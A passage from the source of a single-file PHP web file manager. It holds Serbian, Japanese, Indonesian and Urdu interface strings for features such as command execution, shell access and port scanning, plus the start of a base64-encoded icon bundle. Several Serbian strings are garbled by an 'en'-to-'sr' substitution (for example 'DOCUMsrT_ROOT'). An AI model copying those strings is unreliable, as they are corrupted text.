naredbu'; $et['sr']['Upload'] = 'Prenos'; $et['sr']['Uploadsrd'] = 'Prenos je završen'; $et['sr']['Perm'] = 'Perm'; $et['sr']['Perms'] = 'Dozvole'; $et['sr']['Owner'] = 'Vlasnik'; $et['sr']['Group'] = 'Grupa'; $et['sr']['Other'] = 'Ostalo'; $et['sr']['Size'] = 'Veličina'; $et['sr']['Date'] = 'Datum'; $et['sr']['Type'] = 'Vrsta'; $et['sr']['Free'] = 'besplatno'; $et['sr']['Shell'] = 'Školjka'; $et['sr']['Read'] = 'Pročitaj'; $et['sr']['Write'] = 'Piši'; $et['sr']['Exec'] = 'Izvrši'; $et['sr']['Apply'] = 'Primeni'; $et['sr']['StickyBit'] = 'Lepljiv Bit'; $et['sr']['Pass'] = 'Lozinka'; $et['sr']['Lang'] = 'Jezik'; $et['sr']['File'] = 'Datoteka'; $et['sr']['File_s'] = 'datoteka(s)'; $et['sr']['Dir_s'] = 'direktorij(s)'; $et['sr']['To'] = 'do'; $et['sr']['Destination'] = 'Odredište'; $et['sr']['Configurations'] = 'Konfiguracija'; $et['sr']['JSError'] = 'JavaScript greškar'; $et['sr']['NoSel'] = 'Nema odabranih stavki'; $et['sr']['SelDir'] = 'Odaberite odredišni direktorijum na levom stablu'; $et['sr']['TypeDir'] = 'ime direktorija'; $et['sr']['TypeArq'] = 'ime datoteke'; $et['sr']['TypeCmd'] = 'naredba'; $et['sr']['TypeArqComp'] = 'srter the file name.\\nThe extsrsion će definisati tip kompresije.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['sr']['RemSel'] = 'IZBRIŠI izabrane stavke'; $et['sr']['NoDestDir'] = 'Nema izabranog odredišnog direktorijuma'; $et['sr']['DestEqOrig'] = 'Izvorni i odredišni direktorijumi su jednaki'; $et['sr']['InvalidDest'] = 'Direktorijum odredišta nije vašeći'; $et['sr']['NoNewPerm'] = 'Nova dozvola nije postavljena'; $et['sr']['CopyTo'] = 'Kopiraj u'; $et['sr']['MoveTo'] = 'Premesti u'; $et['sr']['AlterPermTo'] = 'PROMENI DOZVOLE u'; $et['sr']['ConfExec'] = 'Potvrdi IZVRŠENJE'; $et['sr']['ConfRem'] = 'Potvrdi BRISANJE'; $et['sr']['EmptyDir'] = 'Prazan direktorijum'; $et['sr']['IOError'] = 'I/O greška'; $et['sr']['FileMan'] = 'Menadžer datoteka'; $et['sr']['InvPass'] = 'Nevažeća lozinka'; $et['sr']['ReadDsried'] = 'Pristup čitanju nije moguć'; $et['sr']['FilsrotFound'] = 'Datoteka nije pronadjena'; $et['sr']['AutoClose'] = 'Zatvori završeno'; $et['sr']['OutDocRoot'] = 'Datoteka izvan DOCUMsrT_ROOT'; $et['sr']['NoCmd'] = 'Greška: Naredba nije informed'; $et['sr']['ConfTrySave'] = 'Datoteka bez dozvole za pisanje.\\pokušajte ipak da je sačuvate'; $et['sr']['ConfSaved'] = 'Konfiguracije su sačuvane'; $et['sr']['PassSaved'] = 'Lozinka je sačuvana'; $et['sr']['FileDirExists'] = 'Datoteka ili direktorijum već postoje'; $et['sr']['NoPhpinfo'] = 'Funkcija phpinfo je onemogućena'; $et['sr']['NoReturn'] = 'nema povratka'; $et['sr']['FileSsrt'] = 'Datoteka ssrt'; $et['sr']['SpaceLimReached'] = 'Dostignuta ograničenja prostora'; $et['sr']['InvExt'] = 'Nevažeća extsrsion'; $et['sr']['FilsroOverw'] = 'Datoteka se nemože prepisati'; $et['sr']['FileOverw'] = 'Datoteka prepisana'; $et['sr']['FileIgnored'] = 'Datoteka je ignorisana'; $et['sr']['ChkVer'] = 'Proveri novu verziju'; $et['sr']['ChkVerAvailable'] = 'Nova verzija, kliknite ovde da započnete preuzimanje!!'; $et['sr']['ChkVerNotAvailable'] = 'Nova verzija nije dostupna. :('; $et['sr']['ChkVerError'] = 'Greška u povezivanju.'; $et['sr']['Website'] = 'Veb lokacija'; $et['sr']['SsrdingForm'] = 'Ssrding datoteke , molim pričekajte'; $et['sr']['NoFileSel'] = 'Nije odabrana datoteka'; $et['sr']['SelAll'] = 'Sve'; $et['sr']['SelNone'] = 'Nema'; $et['sr']['SelInverse'] = 'Inverzno'; $et['sr']['Selected_s'] = 'izabrano'; $et['sr']['Total'] = 'ukupno'; $et['sr']['Partition'] = 'Particija'; $et['sr']['RsrderTime'] = 'Vreme da se ova stranica izvrši'; $et['sr']['Seconds'] = 'sec'; $et['sr']['ErrorReport'] = 'Izveštaj o greškama'; $et['sr']['Close'] = 'Zatvori'; $et['sr']['SetPass'] = 'Postavi Lozinku'; $et['sr']['ChangePass'] = 'Promeni Lozinku'; $et['sr']['Portscan'] = 'Portscan'; $et['sr']['PHPOpsrBasedir'] = 'PHP Opsr Basedir'; $et['sr']['PHPOpsrBasedirFullAccess'] = '(ukida) Puni pristup'; $et['sr']['About'] = 'O meni'; $et['sr']['FileSaved'] = 'Datoteka je sačuvana'; $et['sr']['FileSaveError'] = 'Greška prilikom čuvanja datoteke'; // Japanese - by h3zjp $et['ja']['Version'] = 'バージョン'; $et['ja']['DocRoot'] = 'ドキュメントルート'; $et['ja']['FMRoot'] = 'File Manager Root'; $et['ja']['DateFormat'] = '日付フォーマット'; $et['ja']['GetSize'] = 'サイズの取得'; $et['ja']['Error'] = 'エラー'; $et['ja']['Name'] = '名前'; $et['ja']['And'] = ', '; $et['ja']['Enter'] = '決定'; $et['ja']['Send'] = '送信'; $et['ja']['Refresh'] = '更新'; $et['ja']['SaveConfig'] = '設定を保存'; //$et['ja']['SavePass'] = 'パスワードを保存'; //$et['ja']['TypePass'] = 'パスワードを入力'; $et['ja']['SaveFile'] = 'ファイルを保存'; $et['ja']['Save'] = '保存'; $et['ja']['Leave'] = '閉じる'; $et['ja']['Edit'] = '編集'; $et['ja']['View'] = '表示'; $et['ja']['Config'] = '設定'; $et['ja']['Ren'] = '名前変更'; $et['ja']['Rem'] = '削除'; $et['ja']['Compress'] = '圧縮'; $et['ja']['Decompress'] = '解凍'; $et['ja']['ResolveIDs'] = 'ID→名前表示'; $et['ja']['Move'] = '移動'; $et['ja']['Copy'] = 'コピー'; $et['ja']['ServerInfo'] = 'サーバー情報'; $et['ja']['CreateDir'] = 'ディレクトリを作成'; $et['ja']['CreateArq'] = 'ファイルを作成'; $et['ja']['Symlink'] = 'シンボリックリンク'; $et['ja']['HardLink'] = 'ハードリンク'; $et['ja']['ExecCmd'] = 'コマンドを実行'; $et['ja']['Upload'] = 'アップロード'; $et['ja']['UploadEnd'] = 'アップロード完了'; $et['ja']['Perm'] = 'パーミッション'; $et['ja']['Perms'] = 'パーミッション'; $et['ja']['Owner'] = '所有者'; $et['ja']['Group'] = 'グループ'; $et['ja']['Other'] = 'その他'; $et['ja']['Size'] = 'サイズ'; $et['ja']['Date'] = '日付'; $et['ja']['Type'] = '種類'; $et['ja']['Free'] = '空き'; $et['ja']['Shell'] = 'シェル'; $et['ja']['Read'] = '読み取り'; $et['ja']['Write'] = '書き込み'; $et['ja']['Exec'] = '実行'; $et['ja']['Apply'] = '決定'; $et['ja']['StickyBit'] = 'スティッキービット'; $et['ja']['Pass'] = 'パスワード'; $et['ja']['Lang'] = '言語選択'; $et['ja']['File'] = 'ファイル'; $et['ja']['File_s'] = 'ファイル'; $et['ja']['Dir_s'] = 'ディレクトリ'; $et['ja']['To'] = 'から'; $et['ja']['Destination'] = '宛先'; $et['ja']['Configurations'] = '設定'; $et['ja']['JSError'] = 'JavaScript エラー'; $et['ja']['NoSel'] = '項目が選択されていません'; $et['ja']['SelDir'] = '宛先ディレクトリを、左のツリーから選択して下さい'; $et['ja']['TypeDir'] = 'ディレクトリ名を入力して下さい'; $et['ja']['TypeArq'] = 'ファイル名を入力して下さい'; $et['ja']['TypeCmd'] = 'コマンドを入力して下さい'; $et['ja']['TypeArqComp'] = 'ファイル名を入力して下さい。\\n圧縮形式は拡張子で指定されます。\\n例:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['ja']['RemSel'] = '選択した項目を削除しますか'; $et['ja']['NoDestDir'] = '選択した宛先ディレクトリがありません'; $et['ja']['DestEqOrig'] = '同じディレクトリが選択されています'; $et['ja']['InvalidDest'] = '宛先のディレクトリが無効です'; $et['ja']['NoNewPerm'] = '新しいパーミッションが設定されていません'; $et['ja']['CopyTo'] = 'コピーしますか'; $et['ja']['MoveTo'] = '移動しますか'; $et['ja']['AlterPermTo'] = 'パーミッションを変更しても良いですか'; $et['ja']['ConfExec'] = '実行しても良いですか'; $et['ja']['ConfRem'] = '削除しても良いですか'; $et['ja']['EmptyDir'] = '空のディレクトリ'; $et['ja']['IOError'] = 'I/O エラー'; $et['ja']['FileMan'] = 'PHP File Manager'; $et['ja']['InvPass'] = 'パスワードに誤りがあります'; $et['ja']['ReadDenied'] = 'アクセスが拒否されました'; $et['ja']['FileNotFound'] = 'ファイルが見つかりません'; $et['ja']['AutoClose'] = '完了時に閉じる'; $et['ja']['OutDocRoot'] = 'ファイルが DOCUMENT_ROOT を超えています'; $et['ja']['NoCmd'] = 'Error: コマンドが通知されません'; $et['ja']['ConfTrySave'] = 'ファイルに書き込み権限がありません。\\再度保存してみて下さい'; $et['ja']['ConfSaved'] = '設定を保存しました'; $et['ja']['PassSaved'] = 'パスワードを保存しました'; $et['ja']['FileDirExists'] = 'ファイルまたはディレクトリは既に存在します'; $et['ja']['NoPhpinfo'] = '関数「phpinfo」は無効です'; $et['ja']['NoReturn'] = '返り値はありません'; $et['ja']['FileSent'] = '送信済'; $et['ja']['SpaceLimReached'] = '容量制限に達しました'; $et['ja']['InvExt'] = '無効な拡張子です'; $et['ja']['FileNoOverw'] = 'ファイルを上書きできませんでした'; $et['ja']['FileOverw'] = 'ファイルが上書きされました'; $et['ja']['FileIgnored'] = 'ファイルは無視されました'; $et['ja']['ChkVer'] = '新しいバージョンがあるか確認する'; $et['ja']['ChkVerAvailable'] = '新しいバージョンがあります! ダウンロードを開始するには、ここをクリックして下さい!!'; $et['ja']['ChkVerNotAvailable'] = '新しいバージョンはありませんでした。:('; $et['ja']['ChkVerError'] = '接続エラー'; $et['ja']['Website'] = 'Webサイト'; $et['ja']['SendingForm'] = 'ファイル送信中。お待ち下さい'; $et['ja']['NoFileSel'] = 'ファイルが選択されていません'; $et['ja']['SelAll'] = '全選択'; $et['ja']['SelNone'] = '全解除'; $et['ja']['SelInverse'] = '選択を反転'; $et['ja']['Selected_s'] = '選択'; $et['ja']['Total'] = '計'; $et['ja']['Partition'] = 'ディスク容量'; $et['ja']['RenderTime'] = 'ページ描画時間'; $et['ja']['Seconds'] = '秒'; $et['ja']['ErrorReport'] = 'エラー出力'; $et['ja']['Close'] = '閉じる'; $et['ja']['SetPass'] = 'パスワードを設定'; $et['ja']['ChangePass'] = 'パスワードを変更'; $et['ja']['Portscan'] = 'ポートスキャン'; $et['ja']['PHPOpenBasedir'] = 'PHP open_basedir'; $et['ja']['PHPOpenBasedirFullAccess'] = '(未設定) フルアクセス'; $et['ja']['About'] = 'About'; $et['ja']['FileSaved'] = 'ファイルを保存しました'; $et['ja']['FileSaveError'] = 'ファイルの保存時にエラーが発生しました'; // Bahasa Indonesia - by dirmanhana $et['id']['Version'] = 'Versi'; $et['id']['DocRoot'] = 'Document Root '; $et['id']['FMRoot'] = 'File Manajer Root '; $et['id']['DateFormat'] = 'Format tanggal'; $et['id']['GetSize'] = 'Lihat ukuran '; $et['id']['Error'] = 'Kesalahan'; $et['id']['Name'] = 'Nama'; $et['id']['And'] = 'dan'; $et['id']['Enter'] = 'Memasukkan'; $et['id']['Send'] = 'Kirim'; $et['id']['Refresh'] = 'Rifres'; $et['id']['SaveConfig'] = 'simpan Konfigurasi '; //$et['id']['SavePass'] = 'Simpan kata sandi'; //$et['id']['TypePass'] = 'masukkan kata sandi'; $et['id']['SaveFile'] = 'Simpan file'; $et['id']['Save'] = 'Simpan'; $et['id']['Leave'] = 'Tutup'; $et['id']['Edit'] = ' Ubah '; $et['id']['View'] = 'lihat'; $et['id']['Config'] = 'Konfigurasi '; $et['id']['Ren'] = ' ubah nama '; $et['id']['Rem'] = 'hapus'; $et['id']['Compress'] = 'Kompres'; $et['id']['Decompress'] = 'Ekstrak '; $et['id']['ResolveIDs'] = 'Selesaikan ID '; $et['id']['Move'] = 'Pindah'; $et['id']['Copy'] = 'Salin'; $et['id']['ServerInfo'] = ' Server Info '; $et['id']['CreateDir'] = 'Buat Direktori '; $et['id']['CreateArq'] = 'Buat Berkas '; $et['id']['Symlink'] = ' Symlink '; $et['id']['HardLink'] = ' Hardlink '; $et['id']['ExecCmd'] = 'Jalankan perintah '; $et['id']['Upload'] = ' Unggah '; $et['id']['UploadEnd'] = 'Unggah Selesai '; $et['id']['Perm'] = ' Perm '; $et['id']['Perms'] = ' Izin '; $et['id']['Owner'] = 'Pemilik'; $et['id']['Group'] = 'Grup'; $et['id']['Other'] = 'Lain'; $et['id']['Size'] = 'Ukuran'; $et['id']['Date'] = 'Tanggal'; $et['id']['Type'] = 'Tipe'; $et['id']['Free'] = 'Tersedia'; $et['id']['Shell'] = 'Shell'; $et['id']['Read'] = 'Baca'; $et['id']['Write'] = 'Tulis'; $et['id']['Exec'] = 'Jalankan'; $et['id']['Apply'] = 'Terapkan'; $et['id']['StickyBit'] = 'Bit menempel '; $et['id']['Pass'] = 'Kata sandi'; $et['id']['Lang'] = 'Bahasa'; $et['id']['File'] = 'Berkas'; $et['id']['File_s'] = 'file (s) '; $et['id']['Dir_s'] = 'directory (s) '; $et['id']['To'] = 'untuk'; $et['id']['Destination'] = 'Tujuan'; $et['id']['Configurations'] = ' Konfigurasi '; $et['id']['JSError'] = 'Kesalahan JavaScript'; $et['id']['NoSel'] = 'tidak ada item yang dipilih'; $et['id']['SelDir'] = 'Pilih direktori tujuan di pohon sebelah kiri '; $et['id']['TypeDir'] = 'masukkan nama direktori '; $et['id']['TypeArq'] = 'masukkan nama file '; $et['id']['TypeCmd'] = 'masukkan perintah '; $et['id']['TypeArqComp'] = 'Masukkan nama file. \\ nEkstensi akan menentukan jenis kompresi. \\ nEx: \\ nnome.zip \\ nnome.tar \\ nnome.bzip \\ nnome.gzip'; $et['id']['RemSel'] = 'hapus item terpilih '; $et['id']['NoDestDir'] = 'Tidak ada direktori tujuan yang dipilih'; $et['id']['DestEqOrig'] = 'Direktori asal dan tujuan sama'; $et['id']['InvalidDest'] = 'Destinasi direktori tidak valid '; $et['id']['NoNewPerm'] = 'izin Baru belum diatur '; $et['id']['CopyTo'] = 'Salin ke'; $et['id']['MoveTo'] = 'Pindah ke'; $et['id']['AlterPermTo'] = 'Ubah Perizinan untuk '; $et['id']['ConfExec'] = 'Konfirmasi Jalankan '; $et['id']['ConfRem'] = 'Konfirmasi hapus '; $et['id']['EmptyDir'] = 'Direktori kosong'; $et['id']['IOError'] = ' I/O Error '; $et['id']['FileMan'] = 'File Manager PHP '; $et['id']['InvPass'] = 'Kata sandi salah'; $et['id']['ReadDenied'] = 'Read Akses Ditolak '; $et['id']['FileNotFound'] = 'Berkas tidak ditemukan'; $et['id']['AutoClose'] = 'Tutup selesai '; $et['id']['OutDocRoot'] = 'File luar DOCUMENT_ROOT '; $et['id']['NoCmd'] = 'Kesalahan: Perintah tidak diinformasikan'; $et['id']['ConfTrySave'] = 'File tanpa menulis permisson \\ Coba untuk menyimpan pula '; $et['id']['ConfSaved'] = 'Konfigurasi disimpan '; $et['id']['PassSaved'] = 'Password disimpan '; $et['id']['FileDirExists'] = 'File atau direktori sudah ada '; $et['id']['NoPhpinfo'] = 'Fungsi phpinfo '; $et['id']['NoReturn'] = 'Tidak kembali '; $et['id']['FileSent'] = 'Mengirim File'; $et['id']['SpaceLimReached'] = 'Batas rung disk mencapai '; $et['id']['InvExt'] = 'Ekstensi tidak valid '; $et['id']['FileNoOverw'] = 'File tidak bisa ditimpa '; $et['id']['FileOverw'] = 'File ditimpa '; $et['id']['FileIgnored'] = 'File diabaikan '; $et['id']['ChkVer'] = 'Periksa untuk versi baru '; $et['id']['ChkVerAvailable'] = 'Versi New, klik di sini untuk mulai men-download !! '; $et['id']['ChkVerNotAvailable'] = 'Versi baru No tersedia. : ('; $et['id']['ChkVerError'] = 'Koneksi error.'; $et['id']['Website'] = 'Situs web'; $et['id']['SendingForm'] = 'Mengirim file, silakan tunggu '; $et['id']['NoFileSel'] = 'Tidak ada file yang dipilih'; $et['id']['SelAll'] = 'pilih semua'; $et['id']['SelNone'] = 'Batalkan'; $et['id']['SelInverse'] = 'Balikkan'; $et['id']['Selected_s'] = 'terpilih'; $et['id']['Total'] = 'total'; $et['id']['Partition'] = ' Partisi '; $et['id']['RenderTime'] = 'Waktu untuk membuat halaman ini '; $et['id']['Seconds'] = 'detik'; $et['id']['ErrorReport'] = 'Laporan error '; $et['id']['Close'] = 'Tutup'; $et['id']['SetPass'] = 'Set Sandi '; $et['id']['ChangePass'] = 'Ganti kata sandi'; $et['id']['Portscan'] = ' Portscan '; $et['id']['PHPOpenBasedir'] = 'PHP Terbuka Basedir '; $et['id']['PHPOpenBasedirFullAccess'] = ' (Unset) Akses Penuh '; $et['id']['About'] = 'Tentang'; $et['id']['FileSaved'] = 'File disimpan '; $et['id']['FileSaveError'] = 'gagal menyimpan file '; // Urdu - by MEGAMINDMK $et['ur']['Version'] = 'ورژن'; $et['ur']['DocRoot'] = 'دستاویز کی جڑ'; $et['ur']['FMRoot'] = 'فائل مینیجر روٹ'; $et['ur']['DateFormat'] = 'تاریخ کی شکل'; $et['ur']['GetSize'] = 'سائز حاصل کریں'; $et['ur']['Error'] = 'خرابی'; $et['ur']['Name'] = 'نام'; $et['ur']['And'] = 'اور'; $et['ur']['Enter'] = 'داخل کریں'; $et['ur']['Send'] = 'بھیجیں'; $et['ur']['Refresh'] = 'تازه دم کرنا'; $et['ur']['SaveConfig'] = 'ترتیب محفوظ کریں'; //$et['ur']['SavePass'] = 'پاس ورڈ کو محفوظ کریں'; //$et['ur']['TypePass'] = 'پاس ورڈ درج کریں'; $et['ur']['SaveFile'] = 'فہرست محفوظ کرو'; $et['ur']['Save'] = 'محفوظ کریں'; $et['ur']['Leave'] = 'چھوڑ دو'; $et['ur']['Edit'] = 'ترمیم'; $et['ur']['View'] = 'دیکھیں'; $et['ur']['Config'] = 'تشکیل دیں'; $et['ur']['Ren'] = 'نام تبدیل کریں'; $et['ur']['Rem'] = 'حذف کریں'; $et['ur']['Compress'] = 'دباؤ'; $et['ur']['Decompress'] = 'دباؤ ڈالنا'; $et['ur']['ResolveIDs'] = 'شناخت حل کریں'; $et['ur']['Move'] = 'اقدام'; $et['ur']['Copy'] = 'کاپی'; $et['ur']['ServerInfo'] = 'سرور کی معلومات'; $et['ur']['CreateDir'] = 'ڈائرکٹری بنائیں'; $et['ur']['CreateArq'] = 'فائل بنائیں'; $et['ur']['Symlink'] = 'سیم لنک'; $et['ur']['HardLink'] = 'ہارڈ لنک'; $et['ur']['ExecCmd'] = 'کمانڈ پر عمل کریں'; $et['ur']['Upload'] = 'اپ لوڈ کریں'; $et['ur']['UploadEnd'] = 'اپ لوڈ ختم'; $et['ur']['Perm'] = 'اجازت'; $et['ur']['Perms'] = 'اجازت'; $et['ur']['Owner'] = 'مالک'; $et['ur']['Group'] = 'گروپ'; $et['ur']['Other'] = 'دیگر'; $et['ur']['Size'] = 'سائز'; $et['ur']['Date'] = 'تاریخ'; $et['ur']['Type'] = 'ٹائپ کریں'; $et['ur']['Free'] = 'مفت'; $et['ur']['Shell'] = 'شیل'; $et['ur']['Read'] = 'پڑھیں'; $et['ur']['Write'] = 'لکھیں'; $et['ur']['Exec'] = 'ختم'; $et['ur']['Apply'] = 'درخواست دیں'; $et['ur']['StickyBit'] = 'چسپاں بٹ'; $et['ur']['Pass'] = 'پاس ورڈ'; $et['ur']['Lang'] = 'زبان'; $et['ur']['File'] = 'فائل'; $et['ur']['File_s'] = 'فائلوں'; $et['ur']['Dir_s'] = 'ڈائریکٹری'; $et['ur']['To'] = 'کرنے کے لئے'; $et['ur']['Destination'] = 'منزل مقصود'; $et['ur']['Configurations'] = 'تشکیلات'; $et['ur']['JSError'] = 'جاوا اسکرپٹ کی خرابی'; $et['ur']['NoSel'] = 'یہاں کوئی منتخب کردہ اشیاء نہیں ہیں'; $et['ur']['SelDir'] = 'بائیں درخت پر منزل مقصود کی ڈائریکٹری منتخب کریں'; $et['ur']['TypeDir'] = 'ڈائریکٹری کا نام درج کریں'; $et['ur']['TypeArq'] = 'فائل کا نام درج کریں'; $et['ur']['TypeCmd'] = 'کمانڈ درج کریں'; $et['ur']['TypeArqComp'] = 'فائل کا نام درج کریں.\\nتوسیع کمپریشن کی قسم کی وضاحت کرے گی.\\nسابق:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['ur']['RemSel'] = 'منتخب کردہ اشیاء کو حذف کریں'; $et['ur']['NoDestDir'] = 'یہاں منزل کی کوئی منتخب ڈائریکٹری موجود نہیں ہے'; $et['ur']['DestEqOrig'] = 'نکالنے اور منزل مقصود کی ڈائرکٹری برابر ہیں'; $et['ur']['InvalidDest'] = 'منزل مقصود کی ڈائرکٹری غلط ہے'; $et['ur']['NoNewPerm'] = 'نئی اجازت متعین نہیں ہے'; $et['ur']['CopyTo'] = 'کاپی کریں'; $et['ur']['MoveTo'] = 'پر منتقل'; $et['ur']['AlterPermTo'] = 'پرمٹ تبدیل کریں'; $et['ur']['ConfExec'] = 'عمل کی تصدیق کریں'; $et['ur']['ConfRem'] = 'حذف کی تصدیق کریں'; $et['ur']['EmptyDir'] = 'خالی ڈائرکٹری'; $et['ur']['IOError'] = 'I / O خرابی'; $et['ur']['FileMan'] = 'پی ایچ پی فائل منیجر'; $et['ur']['InvPass'] = 'غلط پاسورڈ'; $et['ur']['ReadDenied'] = 'پڑھیں رسائی سے انکار'; $et['ur']['FileNotFound'] = 'فائل نہیں ملی'; $et['ur']['AutoClose'] = 'مکمل پر بند کریں'; $et['ur']['OutDocRoot'] = 'فائل دستاویز کی جڑ سے پرے'; $et['ur']['NoCmd'] = 'خرابی: کمانڈ کو مطلع نہیں کیا گیا'; $et['ur']['ConfTrySave'] = 'اجازت نامے کے بغیر فائل کریں.\\nبہرحال بچانے کی کوشش کریں'; $et['ur']['ConfSaved'] = 'تشکیلات محفوظ ہوگئیں'; $et['ur']['PassSaved'] = 'پاس ورڈ محفوظ ہوگیا'; $et['ur']['FileDirExists'] = 'فائل یا ڈائرکٹری پہلے ہی موجود ہے'; $et['ur']['NoPhpinfo'] = 'فنکشن پی ایچ پی کی معلومات غیر فعال ہے'; $et['ur']['NoReturn'] = 'واپسی نہیں'; $et['ur']['FileSent'] = 'فائل بھیجی گئی'; $et['ur']['SpaceLimReached'] = 'جگہ کی حد ہوگئی'; $et['ur']['InvExt'] = 'غلط توسیع'; $et['ur']['FileNoOverw'] = 'فائل کو اوور رائٹ نہیں کیا جاسکتا'; $et['ur']['FileOverw'] = 'فائل اوور رائٹ'; $et['ur']['FileIgnored'] = 'فائل نظر انداز کردی گئی'; $et['ur']['ChkVer'] = 'نیا ورژن چیک کریں'; $et['ur']['ChkVerAvailable'] = 'نیا ورژن ، ڈاؤن لوڈ شروع کرنے کے لئے یہاں کلک کریں !!'; $et['ur']['ChkVerNotAvailable'] = 'کوئی نیا ورژن دستیاب نہیں ہے۔ :('; $et['ur']['ChkVerError'] = 'رابطے میں خرابی.'; $et['ur']['Website'] = 'ویب سائٹ'; $et['ur']['SendingForm'] = 'فائلیں بھیجنا ، براہ کرم انتظار کریں'; $et['ur']['NoFileSel'] = 'کوئی فائل منتخب نہیں کی گئی'; $et['ur']['SelAll'] = 'سب'; $et['ur']['SelNone'] = 'کوئی نہیں'; $et['ur']['SelInverse'] = 'الٹا'; $et['ur']['Selected_s'] = 'منتخب شدہ'; $et['ur']['Total'] = 'کل'; $et['ur']['Partition'] = 'تقسیم'; $et['ur']['RenderTime'] = 'اس صفحے کو پیش کرنے کا وقت'; $et['ur']['Seconds'] = 'سیکنڈ'; $et['ur']['ErrorReport'] = 'غلطی کی اطلاع دہندگی'; $et['ur']['Close'] = 'بند کریں'; $et['ur']['SetPass'] = 'پاس ورڈ رکھیں'; $et['ur']['ChangePass'] = 'پاس ورڈ تبدیل کریں'; $et['ur']['Portscan'] = 'پورٹس اسکین'; $et['ur']['PHPOpenBasedir'] = 'پی ایچ پی کی اوپن بیسڈیر'; $et['ur']['PHPOpenBasedirFullAccess'] = '(غیر سیٹ) مکمل رسائی'; $et['ur']['About'] = 'کے بارے میں'; $et['ur']['FileSaved'] = 'فائل محفوظ ہوگئی'; $et['ur']['FileSaveError'] = 'فائل کو محفوظ کرنے میں خامی'; if (!strlen($lang)) $lang = $sys_lang; if (isset($et[$lang][$tag])) return html_encode($et[$lang][$tag]); else if (isset($et['en'][$tag])) return html_encode($et['en'][$tag]); else return "$tag"; // So we can know what is missing } // +-------------------------------------------------- // | BASE64 FILES // | So that PHP File Manager can remain a single file script, // | and still work normally on offline enviroments // +-------------------------------------------------- function get_base64_file(){ global $filename,$fm_path_info; // +-------------------------------------------------- // | TOTAL: 26 files = 1.94 Mb = 568.79 Kb compressed // +-------------------------------------------------- $base64_files = array(); $base64_files['32px.png'] = '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